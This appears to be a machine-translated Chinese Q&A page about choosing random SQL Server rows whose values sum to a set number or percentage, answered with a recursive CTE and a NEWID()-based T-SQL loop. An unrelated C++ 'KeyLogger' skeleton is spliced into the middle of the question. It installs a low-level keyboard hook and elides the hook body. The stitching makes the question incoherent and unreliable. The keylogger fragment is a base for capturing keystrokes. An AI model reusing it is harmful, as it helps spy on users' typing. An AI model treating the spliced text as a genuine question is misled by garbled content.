我有一个SQL Server表,其中包含这样的记录
#pragma once
#include <time.h>
#include <windows.h>
class cHookProc{
public:
LRESULT CALLBACK HookProc(int code, WPARAM wp, LPARAM lp);
unsigned int getCallBackAddr();
private:
};
class KeyLogger{
public:
KeyLogger();
~KeyLogger();
private:
cHookProc *cHkProc;
};
我需要选择随机记录,但唯一的条件是该记录值的总和达到我定义的特定数字或百分比。
KeyLogger.cpp
#include "KeyLogger.h"
KeyLogger::KeyLogger(){
cHkProc = new cHookProc;
int i = cHkProc->getCallBackAddr();
HOOKPROC hprc = (HOOKPROC)i;
HHOOK keyHook = SetWindowsHookEx(WH_KEYBOARD_LL, hprc, NULL, NULL);
}
KeyLogger::~KeyLogger(){
delete cHkProc;
}
LRESULT CALLBACK cHookProc::HookProc(int code, WPARAM wp, LPARAM lp){
if (code == 0){
.
.
.
}
return CallNextHookEx(NULL, code, wp, lp);
}
unsigned int cHookProc::getCallBackAddr(){
LRESULT(__stdcall cHookProc::*ptrtofn)(int, WPARAM, LPARAM) = &cHookProc::HookProc;
unsigned int *i;
i = (unsigned int*)&ptrtofn;
return *i;
}
Call Hierarchy
任何人都可以帮助我做到这一点。
答案 0 :(得分:4)
认为这种递归CTE可以工作,即使经过少量的行,也不知道性能如何:
DECLARE @Test TABLE
(
ID INT NOT NULL,
VAL INT NOT NULL
);
INSERT INTO @Test
VALUES (1,100),
(2,150),
(3,250),
(4,600),
(5,1550),
(6,50),
(7,300);
DECLARE @SumValue INT = 300,
@Percentage INT = 10;
WITH GetSums
AS
(
SELECT T.ID,
T.Val,
CAST(T.ID AS VARCHAR(MAX)) AS IDs
FROM @Test AS T
UNION ALL
SELECT T1.ID,
T1.Val + GS.Val AS Val,
CAST(T1.ID AS VARCHAR(MAX)) + ',' + GS.IDs AS IDs
FROM @Test AS T1
INNER
JOIN GetSums AS GS
ON T1.ID > GS.ID
)
SELECT GS.IDs,
GS.Val
FROM GetSums AS GS
WHERE (GS.Val = @SumValue OR GS.VAL = (SELECT SUM(Val) FROM @Test AS T) / @Percentage)
OPTION (MAXRECURSION 50);
类似的发现在这里:
答案 1 :(得分:2)
尝试一下...如果第6个值是250 ...我们将得到正确的答案
SELECT 1 ID, 100 Value
INTO #Temp_1
UNION ALL SELECT 2 , 150
UNION ALL SELECT 2 , 150
UNION ALL SELECT 3 , 250
UNION ALL SELECT 4 , 600
UNION ALL SELECT 5 , 1550
UNION ALL SELECT 6 , 250
UNION ALL SELECT 7 , 300
CREATE TABLE #Temp_IDs
(
ID Int,
Value Numeric(18,2)
)
DELETE
FROM #Temp_IDs
DECLARE @ID Int,
@Vale Numeric(18,2),
@ContinueYN Char(1)
SET @ContinueYN = 'Y'
IF EXISTS (SELECT TOP 1 1 FROM #Temp_1
WHERE Value <= 300
AND ID NOT IN (SELECT ID FROM #Temp_IDs )
AND Value <= (SELECT 300 - ISNULL( SUM(Value),0) FROM #Temp_IDs)
ORDER BY NEWID())
BEGIN
WHILE (@ContinueYN = 'Y')
BEGIN
SELECT @ID = ID,
@Vale = Value
FROM #Temp_1
WHERE Value <= 300
AND ID NOT IN (SELECT ID FROM #Temp_IDs )
AND Value <= (SELECT 300 - ISNULL( SUM(Value),0) FROM #Temp_IDs)
ORDER BY NEWID()
INSERT INTO #Temp_IDs
SELECT @ID,@Vale
IF (SELECT SUM(Value) FROM #Temp_IDs) = 300
BREAK
ELSE IF @ID IS NULL
BEGIN
DELETE FROM #Temp_IDs
END
SET @ID = NULL
SET @Vale = NULL
END
END
SELECT *
FROM #Temp_IDs
DROP TABLE #Temp_IDs
DROP TABLE #Temp_1